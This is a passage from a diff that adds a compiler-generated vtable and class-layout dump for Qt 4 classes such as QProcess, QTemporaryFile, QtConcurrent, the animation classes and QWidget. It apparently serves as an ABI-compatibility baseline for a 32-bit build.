+100 QProcess::waitForReadyRead
+104 QProcess::waitForBytesWritten
+108 QProcess::readData
+112 QIODevice::readLineData
+116 QProcess::writeData
+120 QProcess::setupChildProcess
+
+Class QProcess
+ size=8 align=4
+ base size=8 base align=4
+QProcess (0xb468d980) 0
+ vptr=((& QProcess::_ZTV8QProcess) + 8u)
+ QIODevice (0xb468d9c0) 0
+ primary-for QProcess (0xb468d980)
+ QObject (0xb4663a14) 0
+ primary-for QIODevice (0xb468d9c0)
+
+Class QResource
+ size=4 align=4
+ base size=4 base align=4
+QResource (0xb4663c30) 0
+
+Vtable for QSettings
+QSettings::_ZTV9QSettings: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QSettings)
+8 QSettings::metaObject
+12 QSettings::qt_metacast
+16 QSettings::qt_metacall
+20 QSettings::~QSettings
+24 QSettings::~QSettings
+28 QSettings::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSettings
+ size=8 align=4
+ base size=8 base align=4
+QSettings (0xb468de00) 0
+ vptr=((& QSettings::_ZTV9QSettings) + 8u)
+ QObject (0xb4663dd4) 0
+ primary-for QSettings (0xb468de00)
+
+Vtable for QTemporaryFile
+QTemporaryFile::_ZTV14QTemporaryFile: 31u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QTemporaryFile)
+8 QTemporaryFile::metaObject
+12 QTemporaryFile::qt_metacast
+16 QTemporaryFile::qt_metacall
+20 QTemporaryFile::~QTemporaryFile
+24 QTemporaryFile::~QTemporaryFile
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QFile::isSequential
+60 QTemporaryFile::open
+64 QFile::close
+68 QFile::pos
+72 QFile::size
+76 QFile::seek
+80 QFile::atEnd
+84 QIODevice::reset
+88 QIODevice::bytesAvailable
+92 QIODevice::bytesToWrite
+96 QIODevice::canReadLine
+100 QIODevice::waitForReadyRead
+104 QIODevice::waitForBytesWritten
+108 QFile::readData
+112 QFile::readLineData
+116 QFile::writeData
+120 QTemporaryFile::fileEngine
+
+Class QTemporaryFile
+ size=8 align=4
+ base size=8 base align=4
+QTemporaryFile (0xb4529a00) 0
+ vptr=((& QTemporaryFile::_ZTV14QTemporaryFile) + 8u)
+ QFile (0xb4529a40) 0
+ primary-for QTemporaryFile (0xb4529a00)
+ QIODevice (0xb4529a80) 0
+ primary-for QFile (0xb4529a40)
+ QObject (0xb452d8e8) 0
+ primary-for QIODevice (0xb4529a80)
+
+Class QUrl
+ size=4 align=4
+ base size=4 base align=4
+QUrl (0xb452dbf4) 0
+
+Class QLibraryInfo
+ size=1 align=1
+ base size=0 base align=1
+QLibraryInfo (0xb45bb7bc) 0 empty
+
+Vtable for QRunnable
+QRunnable::_ZTV9QRunnable: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QRunnable)
+8 __cxa_pure_virtual
+12 QRunnable::~QRunnable
+16 QRunnable::~QRunnable
+
+Class QRunnable
+ size=8 align=4
+ base size=8 base align=4
+QRunnable (0xb45bb7f8) 0
+ vptr=((& QRunnable::_ZTV9QRunnable) + 8u)
+
+Vtable for QtConcurrent::Exception
+QtConcurrent::Exception::_ZTVN12QtConcurrent9ExceptionE: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN12QtConcurrent9ExceptionE)
+8 QtConcurrent::Exception::~Exception
+12 QtConcurrent::Exception::~Exception
+16 std::exception::what
+20 QtConcurrent::Exception::raise
+24 QtConcurrent::Exception::clone
+
+Class QtConcurrent::Exception
+ size=4 align=4
+ base size=4 base align=4
+QtConcurrent::Exception (0xb45c4dc0) 0 nearly-empty
+ vptr=((& QtConcurrent::Exception::_ZTVN12QtConcurrent9ExceptionE) + 8u)
+ std::exception (0xb45bbc6c) 0 nearly-empty
+ primary-for QtConcurrent::Exception (0xb45c4dc0)
+
+Vtable for QtConcurrent::UnhandledException
+QtConcurrent::UnhandledException::_ZTVN12QtConcurrent18UnhandledExceptionE: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN12QtConcurrent18UnhandledExceptionE)
+8 QtConcurrent::UnhandledException::~UnhandledException
+12 QtConcurrent::UnhandledException::~UnhandledException
+16 std::exception::what
+20 QtConcurrent::UnhandledException::raise
+24 QtConcurrent::UnhandledException::clone
+
+Class QtConcurrent::UnhandledException
+ size=4 align=4
+ base size=4 base align=4
+QtConcurrent::UnhandledException (0xb45c4ec0) 0 nearly-empty
+ vptr=((& QtConcurrent::UnhandledException::_ZTVN12QtConcurrent18UnhandledExceptionE) + 8u)
+ QtConcurrent::Exception (0xb45c4f00) 0 nearly-empty
+ primary-for QtConcurrent::UnhandledException (0xb45c4ec0)
+ std::exception (0xb45bbca8) 0 nearly-empty
+ primary-for QtConcurrent::Exception (0xb45c4f00)
+
+Class QtConcurrent::internal::ExceptionHolder
+ size=4 align=4
+ base size=4 base align=4
+QtConcurrent::internal::ExceptionHolder (0xb45bbce4) 0
+
+Class QtConcurrent::internal::ExceptionStore
+ size=4 align=4
+ base size=4 base align=4
+QtConcurrent::internal::ExceptionStore (0xb45bbd20) 0
+
+Class QtConcurrent::ResultItem
+ size=8 align=4
+ base size=8 base align=4
+QtConcurrent::ResultItem (0xb45bbd5c) 0
+
+Class QtConcurrent::ResultIteratorBase
+ size=8 align=4
+ base size=8 base align=4
+QtConcurrent::ResultIteratorBase (0xb45e1348) 0
+
+Vtable for QtConcurrent::ResultStoreBase
+QtConcurrent::ResultStoreBase::_ZTVN12QtConcurrent15ResultStoreBaseE: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN12QtConcurrent15ResultStoreBaseE)
+8 QtConcurrent::ResultStoreBase::~ResultStoreBase
+12 QtConcurrent::ResultStoreBase::~ResultStoreBase
+
+Class QtConcurrent::ResultStoreBase
+ size=28 align=4
+ base size=28 base align=4
+QtConcurrent::ResultStoreBase (0xb45e1474) 0
+ vptr=((& QtConcurrent::ResultStoreBase::_ZTVN12QtConcurrent15ResultStoreBaseE) + 8u)
+
+Vtable for QFutureInterfaceBase
+QFutureInterfaceBase::_ZTV20QFutureInterfaceBase: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QFutureInterfaceBase)
+8 QFutureInterfaceBase::~QFutureInterfaceBase
+12 QFutureInterfaceBase::~QFutureInterfaceBase
+
+Class QFutureInterfaceBase
+ size=8 align=4
+ base size=8 base align=4
+QFutureInterfaceBase (0xb45e18ac) 0
+ vptr=((& QFutureInterfaceBase::_ZTV20QFutureInterfaceBase) + 8u)
+
+Vtable for QFutureWatcherBase
+QFutureWatcherBase::_ZTV18QFutureWatcherBase: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QFutureWatcherBase)
+8 QFutureWatcherBase::metaObject
+12 QFutureWatcherBase::qt_metacast
+16 QFutureWatcherBase::qt_metacall
+20 QFutureWatcherBase::~QFutureWatcherBase
+24 QFutureWatcherBase::~QFutureWatcherBase
+28 QFutureWatcherBase::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QFutureWatcherBase::connectNotify
+52 QFutureWatcherBase::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+
+Class QFutureWatcherBase
+ size=8 align=4
+ base size=8 base align=4
+QFutureWatcherBase (0xb4470d00) 0
+ vptr=((& QFutureWatcherBase::_ZTV18QFutureWatcherBase) + 8u)
+ QObject (0xb447e294) 0
+ primary-for QFutureWatcherBase (0xb4470d00)
+
+Vtable for QThreadPool
+QThreadPool::_ZTV11QThreadPool: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QThreadPool)
+8 QThreadPool::metaObject
+12 QThreadPool::qt_metacast
+16 QThreadPool::qt_metacall
+20 QThreadPool::~QThreadPool
+24 QThreadPool::~QThreadPool
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QThreadPool
+ size=8 align=4
+ base size=8 base align=4
+QThreadPool (0xb4496ec0) 0
+ vptr=((& QThreadPool::_ZTV11QThreadPool) + 8u)
+ QObject (0xb44a8294) 0
+ primary-for QThreadPool (0xb4496ec0)
+
+Class QtConcurrent::ThreadEngineBarrier
+ size=12 align=4
+ base size=12 base align=4
+QtConcurrent::ThreadEngineBarrier (0xb44a84b0) 0
+
+Vtable for QtConcurrent::ThreadEngineBase
+QtConcurrent::ThreadEngineBase::_ZTVN12QtConcurrent16ThreadEngineBaseE: 11u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN12QtConcurrent16ThreadEngineBaseE)
+8 QtConcurrent::ThreadEngineBase::run
+12 QtConcurrent::ThreadEngineBase::~ThreadEngineBase
+16 QtConcurrent::ThreadEngineBase::~ThreadEngineBase
+20 QtConcurrent::ThreadEngineBase::start
+24 QtConcurrent::ThreadEngineBase::finish
+28 QtConcurrent::ThreadEngineBase::threadFunction
+32 QtConcurrent::ThreadEngineBase::shouldStartThread
+36 QtConcurrent::ThreadEngineBase::shouldThrottleThread
+40 __cxa_pure_virtual
+
+Class QtConcurrent::ThreadEngineBase
+ size=32 align=4
+ base size=32 base align=4
+QtConcurrent::ThreadEngineBase (0xb44bb1c0) 0
+ vptr=((& QtConcurrent::ThreadEngineBase::_ZTVN12QtConcurrent16ThreadEngineBaseE) + 8u)
+ QRunnable (0xb44a84ec) 0
+ primary-for QtConcurrent::ThreadEngineBase (0xb44bb1c0)
+
+VTT for QtConcurrent::ThreadEngine<void>
+QtConcurrent::ThreadEngine<void>::_ZTTN12QtConcurrent12ThreadEngineIvEE: 2u entries
+0 ((& QtConcurrent::ThreadEngine<void>::_ZTVN12QtConcurrent12ThreadEngineIvEE) + 12u)
+4 ((& QtConcurrent::ThreadEngine<void>::_ZTVN12QtConcurrent12ThreadEngineIvEE) + 68u)
+
+Class QtConcurrent::BlockSizeManager
+ size=72 align=4
+ base size=72 base align=4
+QtConcurrent::BlockSizeManager (0xb44ddac8) 0
+
+Vtable for QTextCodecFactoryInterface
+QTextCodecFactoryInterface::_ZTV26QTextCodecFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI26QTextCodecFactoryInterface)
+8 QTextCodecFactoryInterface::~QTextCodecFactoryInterface
+12 QTextCodecFactoryInterface::~QTextCodecFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QTextCodecFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QTextCodecFactoryInterface (0xb4164740) 0 nearly-empty
+ vptr=((& QTextCodecFactoryInterface::_ZTV26QTextCodecFactoryInterface) + 8u)
+ QFactoryInterface (0xb4154384) 0 nearly-empty
+ primary-for QTextCodecFactoryInterface (0xb4164740)
+
+Vtable for QTextCodecPlugin
+QTextCodecPlugin::_ZTV16QTextCodecPlugin: 27u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QTextCodecPlugin)
+8 QTextCodecPlugin::metaObject
+12 QTextCodecPlugin::qt_metacast
+16 QTextCodecPlugin::qt_metacall
+20 QTextCodecPlugin::~QTextCodecPlugin
+24 QTextCodecPlugin::~QTextCodecPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 QTextCodecPlugin::keys
+80 QTextCodecPlugin::create
+84 (int (*)(...))-0x000000008
+88 (int (*)(...))(& _ZTI16QTextCodecPlugin)
+92 QTextCodecPlugin::_ZThn8_N16QTextCodecPluginD1Ev
+96 QTextCodecPlugin::_ZThn8_N16QTextCodecPluginD0Ev
+100 QTextCodecPlugin::_ZThn8_NK16QTextCodecPlugin4keysEv
+104 QTextCodecPlugin::_ZThn8_N16QTextCodecPlugin6createERK7QString
+
+Class QTextCodecPlugin
+ size=12 align=4
+ base size=12 base align=4
+QTextCodecPlugin (0xb4176820) 0
+ vptr=((& QTextCodecPlugin::_ZTV16QTextCodecPlugin) + 8u)
+ QObject (0xb4154690) 0
+ primary-for QTextCodecPlugin (0xb4176820)
+ QTextCodecFactoryInterface (0xb4164a00) 8 nearly-empty
+ vptr=((& QTextCodecPlugin::_ZTV16QTextCodecPlugin) + 92u)
+ QFactoryInterface (0xb41546cc) 8 nearly-empty
+ primary-for QTextCodecFactoryInterface (0xb4164a00)
+
+Vtable for QAbstractAnimation
+QAbstractAnimation::_ZTV18QAbstractAnimation: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QAbstractAnimation)
+8 QAbstractAnimation::metaObject
+12 QAbstractAnimation::qt_metacast
+16 QAbstractAnimation::qt_metacall
+20 QAbstractAnimation::~QAbstractAnimation
+24 QAbstractAnimation::~QAbstractAnimation
+28 QAbstractAnimation::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 QAbstractAnimation::updateState
+68 QAbstractAnimation::updateDirection
+
+Class QAbstractAnimation
+ size=8 align=4
+ base size=8 base align=4
+QAbstractAnimation (0xb4164c40) 0
+ vptr=((& QAbstractAnimation::_ZTV18QAbstractAnimation) + 8u)
+ QObject (0xb41547f8) 0
+ primary-for QAbstractAnimation (0xb4164c40)
+
+Vtable for QAnimationGroup
+QAnimationGroup::_ZTV15QAnimationGroup: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QAnimationGroup)
+8 QAnimationGroup::metaObject
+12 QAnimationGroup::qt_metacast
+16 QAnimationGroup::qt_metacall
+20 QAnimationGroup::~QAnimationGroup
+24 QAnimationGroup::~QAnimationGroup
+28 QAnimationGroup::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 QAbstractAnimation::updateState
+68 QAbstractAnimation::updateDirection
+
+Class QAnimationGroup
+ size=8 align=4
+ base size=8 base align=4
+QAnimationGroup (0xb4164f00) 0
+ vptr=((& QAnimationGroup::_ZTV15QAnimationGroup) + 8u)
+ QAbstractAnimation (0xb4164f40) 0
+ primary-for QAnimationGroup (0xb4164f00)
+ QObject (0xb4154a50) 0
+ primary-for QAbstractAnimation (0xb4164f40)
+
+Vtable for QParallelAnimationGroup
+QParallelAnimationGroup::_ZTV23QParallelAnimationGroup: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QParallelAnimationGroup)
+8 QParallelAnimationGroup::metaObject
+12 QParallelAnimationGroup::qt_metacast
+16 QParallelAnimationGroup::qt_metacall
+20 QParallelAnimationGroup::~QParallelAnimationGroup
+24 QParallelAnimationGroup::~QParallelAnimationGroup
+28 QParallelAnimationGroup::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QParallelAnimationGroup::duration
+60 QParallelAnimationGroup::updateCurrentTime
+64 QParallelAnimationGroup::updateState
+68 QParallelAnimationGroup::updateDirection
+
+Class QParallelAnimationGroup
+ size=8 align=4
+ base size=8 base align=4
+QParallelAnimationGroup (0xb419f200) 0
+ vptr=((& QParallelAnimationGroup::_ZTV23QParallelAnimationGroup) + 8u)
+ QAnimationGroup (0xb419f240) 0
+ primary-for QParallelAnimationGroup (0xb419f200)
+ QAbstractAnimation (0xb419f280) 0
+ primary-for QAnimationGroup (0xb419f240)
+ QObject (0xb4154c6c) 0
+ primary-for QAbstractAnimation (0xb419f280)
+
+Vtable for QPauseAnimation
+QPauseAnimation::_ZTV15QPauseAnimation: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QPauseAnimation)
+8 QPauseAnimation::metaObject
+12 QPauseAnimation::qt_metacast
+16 QPauseAnimation::qt_metacall
+20 QPauseAnimation::~QPauseAnimation
+24 QPauseAnimation::~QPauseAnimation
+28 QPauseAnimation::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QPauseAnimation::duration
+60 QPauseAnimation::updateCurrentTime
+64 QAbstractAnimation::updateState
+68 QAbstractAnimation::updateDirection
+
+Class QPauseAnimation
+ size=8 align=4
+ base size=8 base align=4
+QPauseAnimation (0xb419f540) 0
+ vptr=((& QPauseAnimation::_ZTV15QPauseAnimation) + 8u)
+ QAbstractAnimation (0xb419f580) 0
+ primary-for QPauseAnimation (0xb419f540)
+ QObject (0xb4154e88) 0
+ primary-for QAbstractAnimation (0xb419f580)
+
+Vtable for QVariantAnimation
+QVariantAnimation::_ZTV17QVariantAnimation: 20u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QVariantAnimation)
+8 QVariantAnimation::metaObject
+12 QVariantAnimation::qt_metacast
+16 QVariantAnimation::qt_metacall
+20 QVariantAnimation::~QVariantAnimation
+24 QVariantAnimation::~QVariantAnimation
+28 QVariantAnimation::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QVariantAnimation::duration
+60 QVariantAnimation::updateCurrentTime
+64 QVariantAnimation::updateState
+68 QAbstractAnimation::updateDirection
+72 __cxa_pure_virtual
+76 QVariantAnimation::interpolated
+
+Class QVariantAnimation
+ size=8 align=4
+ base size=8 base align=4
+QVariantAnimation (0xb419f840) 0
+ vptr=((& QVariantAnimation::_ZTV17QVariantAnimation) + 8u)
+ QAbstractAnimation (0xb419f880) 0
+ primary-for QVariantAnimation (0xb419f840)
+ QObject (0xb41bd0b4) 0
+ primary-for QAbstractAnimation (0xb419f880)
+
+Vtable for QPropertyAnimation
+QPropertyAnimation::_ZTV18QPropertyAnimation: 20u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QPropertyAnimation)
+8 QPropertyAnimation::metaObject
+12 QPropertyAnimation::qt_metacast
+16 QPropertyAnimation::qt_metacall
+20 QPropertyAnimation::~QPropertyAnimation
+24 QPropertyAnimation::~QPropertyAnimation
+28 QPropertyAnimation::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QVariantAnimation::duration
+60 QVariantAnimation::updateCurrentTime
+64 QPropertyAnimation::updateState
+68 QAbstractAnimation::updateDirection
+72 QPropertyAnimation::updateCurrentValue
+76 QVariantAnimation::interpolated
+
+Class QPropertyAnimation
+ size=8 align=4
+ base size=8 base align=4
+QPropertyAnimation (0xb419fc80) 0
+ vptr=((& QPropertyAnimation::_ZTV18QPropertyAnimation) + 8u)
+ QVariantAnimation (0xb419fcc0) 0
+ primary-for QPropertyAnimation (0xb419fc80)
+ QAbstractAnimation (0xb419fd00) 0
+ primary-for QVariantAnimation (0xb419fcc0)
+ QObject (0xb41bd2d0) 0
+ primary-for QAbstractAnimation (0xb419fd00)
+
+Vtable for QSequentialAnimationGroup
+QSequentialAnimationGroup::_ZTV25QSequentialAnimationGroup: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QSequentialAnimationGroup)
+8 QSequentialAnimationGroup::metaObject
+12 QSequentialAnimationGroup::qt_metacast
+16 QSequentialAnimationGroup::qt_metacall
+20 QSequentialAnimationGroup::~QSequentialAnimationGroup
+24 QSequentialAnimationGroup::~QSequentialAnimationGroup
+28 QSequentialAnimationGroup::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QSequentialAnimationGroup::duration
+60 QSequentialAnimationGroup::updateCurrentTime
+64 QSequentialAnimationGroup::updateState
+68 QSequentialAnimationGroup::updateDirection
+
+Class QSequentialAnimationGroup
+ size=8 align=4
+ base size=8 base align=4
+QSequentialAnimationGroup (0xb419ffc0) 0
+ vptr=((& QSequentialAnimationGroup::_ZTV25QSequentialAnimationGroup) + 8u)
+ QAnimationGroup (0xb41dd000) 0
+ primary-for QSequentialAnimationGroup (0xb419ffc0)
+ QAbstractAnimation (0xb41dd040) 0
+ primary-for QAnimationGroup (0xb41dd000)
+ QObject (0xb41bd4ec) 0
+ primary-for QAbstractAnimation (0xb41dd040)
+
+Vtable for QPaintDevice
+QPaintDevice::_ZTV12QPaintDevice: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QPaintDevice)
+8 QPaintDevice::~QPaintDevice
+12 QPaintDevice::~QPaintDevice
+16 QPaintDevice::devType
+20 __cxa_pure_virtual
+24 QPaintDevice::metric
+
+Class QPaintDevice
+ size=8 align=4
+ base size=6 base align=4
+QPaintDevice (0xb41bd708) 0
+ vptr=((& QPaintDevice::_ZTV12QPaintDevice) + 8u)
+
+Class QColor
+ size=16 align=4
+ base size=14 base align=4
+QColor (0xb41fd2d0) 0
+
+Class QPolygon
+ size=4 align=4
+ base size=4 base align=4
+QPolygon (0xb4202cc0) 0
+ QVector<QPoint> (0xb41fd960) 0
+
+Class QPolygonF
+ size=4 align=4
+ base size=4 base align=4
+QPolygonF (0xb4053300) 0
+ QVector<QPointF> (0xb4058348) 0
+
+Class QRegion::QRegionData
+ size=16 align=4
+ base size=16 base align=4
+QRegion::QRegionData (0xb4058ca8) 0
+
+Class QRegion
+ size=4 align=4
+ base size=4 base align=4
+QRegion (0xb4058c6c) 0
+
+Class QMatrix
+ size=48 align=4
+ base size=48 base align=4
+QMatrix (0xb409b000) 0
+
+Class QPainterPath::Element
+ size=20 align=4
+ base size=20 base align=4
+QPainterPath::Element (0xb40be1a4) 0
+
+Class QPainterPath
+ size=4 align=4
+ base size=4 base align=4
+QPainterPath (0xb40be168) 0
+
+Class QPainterPathPrivate
+ size=8 align=4
+ base size=8 base align=4
+QPainterPathPrivate (0xb40be690) 0
+
+Class QPainterPathStroker
+ size=4 align=4
+ base size=4 base align=4
+QPainterPathStroker (0xb40be7bc) 0
+
+Class QTransform
+ size=80 align=4
+ base size=80 base align=4
+QTransform (0xb411a744) 0
+
+Class QImageTextKeyLang
+ size=8 align=4
+ base size=8 base align=4
+QImageTextKeyLang (0xb3f7f690) 0
+
+Vtable for QImage
+QImage::_ZTV6QImage: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QImage)
+8 QImage::~QImage
+12 QImage::~QImage
+16 QImage::devType
+20 QImage::paintEngine
+24 QImage::metric
+
+Class QImage
+ size=12 align=4
+ base size=12 base align=4
+QImage (0xb3f6e940) 0
+ vptr=((& QImage::_ZTV6QImage) + 8u)
+ QPaintDevice (0xb3fac078) 0
+ primary-for QImage (0xb3f6e940)
+
+Vtable for QPixmap
+QPixmap::_ZTV7QPixmap: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QPixmap)
+8 QPixmap::~QPixmap
+12 QPixmap::~QPixmap
+16 QPixmap::devType
+20 QPixmap::paintEngine
+24 QPixmap::metric
+
+Class QPixmap
+ size=12 align=4
+ base size=12 base align=4
+QPixmap (0xb3fee240) 0
+ vptr=((& QPixmap::_ZTV7QPixmap) + 8u)
+ QPaintDevice (0xb3facc30) 0
+ primary-for QPixmap (0xb3fee240)
+
+Class QIcon
+ size=4 align=4
+ base size=4 base align=4
+QIcon (0xb4023294) 0
+
+Class QKeySequence
+ size=4 align=4
+ base size=4 base align=4
+QKeySequence (0xb40234ec) 0
+
+Class QBrush
+ size=4 align=4
+ base size=4 base align=4
+QBrush (0xb4023708) 0
+
+Class QBrushData
+ size=104 align=4
+ base size=104 base align=4
+QBrushData (0xb40238ac) 0
+
+Class QGradient
+ size=56 align=4
+ base size=56 base align=4
+QGradient (0xb4023c6c) 0
+
+Class QLinearGradient
+ size=56 align=4
+ base size=56 base align=4
+QLinearGradient (0xb3e787c0) 0
+ QGradient (0xb4023f00) 0
+
+Class QRadialGradient
+ size=56 align=4
+ base size=56 base align=4
+QRadialGradient (0xb3e788c0) 0
+ QGradient (0xb4023f3c) 0
+
+Class QConicalGradient
+ size=56 align=4
+ base size=56 base align=4
+QConicalGradient (0xb3e789c0) 0
+ QGradient (0xb4023f78) 0
+
+Class QPalette
+ size=8 align=4
+ base size=8 base align=4
+QPalette (0xb4023fb4) 0
+
+Class QColorGroup
+ size=8 align=4
+ base size=8 base align=4
+QColorGroup (0xb3ed1400) 0
+ QPalette (0xb3ec78ac) 0
+
+Class QFont
+ size=8 align=4
+ base size=8 base align=4
+QFont (0xb3eeaa14) 0
+
+Class QFontMetrics
+ size=4 align=4
+ base size=4 base align=4
+QFontMetrics (0xb3eeac30) 0
+
+Class QFontMetricsF
+ size=4 align=4
+ base size=4 base align=4
+QFontMetricsF (0xb3eeae88) 0
+
+Class QFontInfo
+ size=4 align=4
+ base size=4 base align=4
+QFontInfo (0xb3eeaf3c) 0
+
+Class QSizePolicy
+ size=4 align=4
+ base size=4 base align=4
+QSizePolicy (0xb3eeaf78) 0
+
+Class QCursor
+ size=4 align=4
+ base size=4 base align=4
+QCursor (0xb3d80e4c) 0
+
+Class QWidgetData
+ size=64 align=4
+ base size=64 base align=4
+QWidgetData (0xb3d80e88) 0
+
+Vtable for QWidget
+QWidget::_ZTV7QWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QWidget)
+8 QWidget::metaObject
+12 QWidget::qt_metacast
+16 QWidget::qt_metacall
+20 QWidget::~QWidget
+24 QWidget::~QWidget
+28 QWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI7QWidget)
+232 QWidget::_ZThn8_N7QWidgetD1Ev
+236 QWidget::_ZThn8_N7QWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QWidget
+ size=20 align=4
+ base size=20 base align=4
+QWidget (0xb3db1410) 0
+ vptr=((& QWidget::_ZTV7QWidget) + 8u)
+ QObject (0xb3d80ec4) 0
+ primary-for QWidget (0xb3db1410)
+ QPaintDevice (0xb3d80f00) 8
+ vptr=((& QWidget::_ZTV7QWidget) + 232u)
+
+Vtable for QAbstractButton
+QAbstractButton::_ZTV15QAbstractButton: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QAbstractButton)
+8 QAbstractButton::metaObject
+12 QAbstractButton::qt_metacast
+16 QAbstractButton::qt_metacall
+20 QAbstractButton::~QAbstractButton
+24 QAbstractButton::~QAbstractButton
+28 QAbstractButton::event
+32 QObject::eventFilter
+36 QAbstractButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractButton::mousePressEvent
+84 QAbstractButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractButton::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QAbstractButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QAbstractButton::focusInEvent
+112 QAbstractButton::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 __cxa_pure_virtual
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
